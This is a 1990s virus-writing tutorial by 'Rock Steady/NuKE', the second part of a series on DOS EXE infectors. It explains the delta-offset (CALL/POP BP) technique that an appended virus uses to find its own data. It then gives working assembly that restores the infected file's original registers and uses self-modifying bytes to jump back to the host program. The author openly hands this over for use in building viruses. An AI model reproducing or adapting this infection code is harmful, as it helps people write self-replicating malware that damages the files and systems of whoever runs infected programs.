** EXE Infectors Part II **

** **
** By Rock Steady/NuKE **
*****************************
The first part consisted on how to Infect the EXE file, from a resident
virus. However, that is only HALF the code and understanding needed for
EXE infectors. The part to follow, is on how to give control back to the
original EXE file. This is one part of EXE infectors, that mostly EVERY
ONE tend to forget to point out. Big tickle, you know how to infect the
EXE, but can you make the original EXE run after its infection? Do you
know how to restore the registers we took from the EXE header? Anyhow
lets get going...
If the Infected EXE file is now executed, the first Line of Code it will
encounter will be the first byte of our Virus. Since CS:IP have been
changed in the header (Part I) to point to our Virus. The first thing
we will need to do, is set up a Variable offset, (As I call it). Basically
when TASM compiles our virus, all variables and other data locations are
given a FIX address. Though in the case of the Virus this is NOT GOOD as
viruses, tend to append themselves, and therefore variables are never
in the same location...
Fig 1.
(Original ASM Source)
CALL doit_Now ;Call PUSHes CS:IP addresses
doit_now: POP BP ;POP in BP the IP register
SUB BP,offset doit_now ;Make it EQUAL 0 for first Compile!
MOV AX,word ptr cs:[variable+BP] ;BP=0 now it works!
...
variable dd 55
When TASM Compiles the above Code it turns it into Fig 2. (Below)
Fig 2. Fig 3.
(Virus Just Compiled) (Virus Infect to a file)
1234:0100 CALL 1234:0103 1234:0100 JMP 500
1234:0103 POP BP 1234:0102 ... (Infect File)
1234:0104 SUB BP,0103 ... '' ''
1234:0107 MOV AX,[0200+BP] 1234:0200 ... '' ''
... ... '' ''
1234:0200 dd 55 1234:0500 CALL 1234:0503
1234:0503 POP BP (BP=503)
1234:0504 SUB BP,0103 (BP=400)
1234:0507 MOV AX,[0200+BP]
... (200+BP=600)
1234:0600 dd 55
Later when the Virus infects a File, it will represent Fig 3. Now, when
the CALL command is executed, it PUSHes into the Stacks the NEXT CS:IP
so when it has to RETurn, all it has to do is POP back the CS:IP to know
exactly where it left off! So we can take advantage of the command, by
POPing back ourselves, thus this will give us the NEXT byte from the CALL
command. which as you see, in the examples is our POP BP statement.
However when the Virus is Freshly Compiled, all Registers values are GOOD,
so that is why we must make BP=0 the first time, as the variables were
set according to the sources, so no adjustment needed, though when we
infect a file, this BP Variable Pointer come ALIVE! (View Fig 3. + Fig 2.)
Boy, That was the HARDEST part of that, Now if you found that simple pat
yourself on the back, as that is the only `BIG' Conflict people tend to
disregard or forget. So any time while you are NOT resident but infected
on the file, and you are running code from the infected file just use the
that BP Variable Pointer, for any data being loaded... Now lets put the
routine together, along with the routine to EXECUTE the original EXE file
; After the Virus Has moved a copy of itself in memory, Control must be
; Given back to the Original EXE file we just infected... This is the
; Routine to do it..
exit_exe_file:
mov bx,word ptr cs:[buffer+22][bp] ;Loads CS register
mov ax,cs ;Move current CS in AX
sub ax,bx ;Subtract for alinment
mov dx,ax
add ax,word ptr cs:[exe_cs][bp] ;Get ORIGINAL CS
add dx,word ptr cs:[exe_ss][bp] ;Get ORIGINAL SS
mov bx,word ptr cs:[exe_ip][bp] ;Get ORIGINAL IP
mov word ptr cs:[fuck_yeah][bp],bx ;Put IP
mov word ptr cs:[fuck_yeah+2][bp],ax ;Put CS (Reverse Order)
mov ax,word ptr cs:[exe_sp][bp] ;Get ORIGNAL SP
mov word ptr cs:[Rock_fix1][bp],dx ;Put in SS
mov word ptr cs:[Rock_fix2][bp],ax ;Put in SP
db 0B8h ;The Byte `B80000' is really a MOV AX,????
Rock_Fix1: ;???? is the Value of SS that we will put into
dw 0 ;THIS LINE!
cli ;Disable Interrupts (No Jamming)
mov ss,ax ;Mov the AX (really SS) into SS register
db 0BCh ;Byte `BC0000' is really a MOV SP,????
Rock_Fix2: ;???? is the Value of SP that we will put into
dw 0 ;THIS LINE!!
sti ;Enable Interrupts
db 0EAh ;The Byte `EA00000000' is a JMP CS:IP How ever
fuck_Yeah: ;IP comes FIRST then CS (Reverse Order) And then
dd 0 ;the Virus does the JMP CS:IP to the Original
; Simple huh?
; To see this as a HOLE Virus look at `NuKE PoX V1.1' Virus Sources Codes
; Made by me (Rock Steady) As you can see the Code is ORGINAL, and nothing
; that looks like any of them Sources we see around. Though I give it to
; you to use.
